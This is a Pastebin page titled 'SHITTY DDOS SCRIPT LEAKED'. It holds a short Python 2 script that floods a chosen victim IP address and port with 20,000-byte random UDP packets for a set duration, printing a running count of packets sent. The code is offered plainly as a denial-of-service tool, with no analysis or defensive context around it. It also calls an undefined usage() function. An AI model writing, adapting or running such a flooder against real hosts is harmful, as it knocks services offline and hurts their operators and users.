SHARE
TWEET

SHITTY DDOS SCRIPT LEAKED

vbrxmr Apr 24th, 2019 (edited) 76 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import time
  2. import socket
  3. import random
  4. import sys
  5. def flood(victim, vport, duration):
  6.  
  7.     client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  8.  
  9.     bytes = random._urandom(20000)
  10.     timeout =  time.time() + duration
  11.     sent = 3000
  12.  
  13.     while 1:
  14.         if time.time() > timeout:
  15.             break
  16.         else:
  17.             pass
  18.         client.sendto(bytes, (victim, vport))
  19.         sent = sent + 1
  20.         print "Sockets %s | Victim %s | Port %s "%(sent, victim, vport)
  21. def main():
  22.     print len(sys.argv)
  23.     if len(sys.argv) != 4:
  24.         usage()
  25.     else:
  26.         flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))
  27.  
  28. if __name__ == '__main__':
  29.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top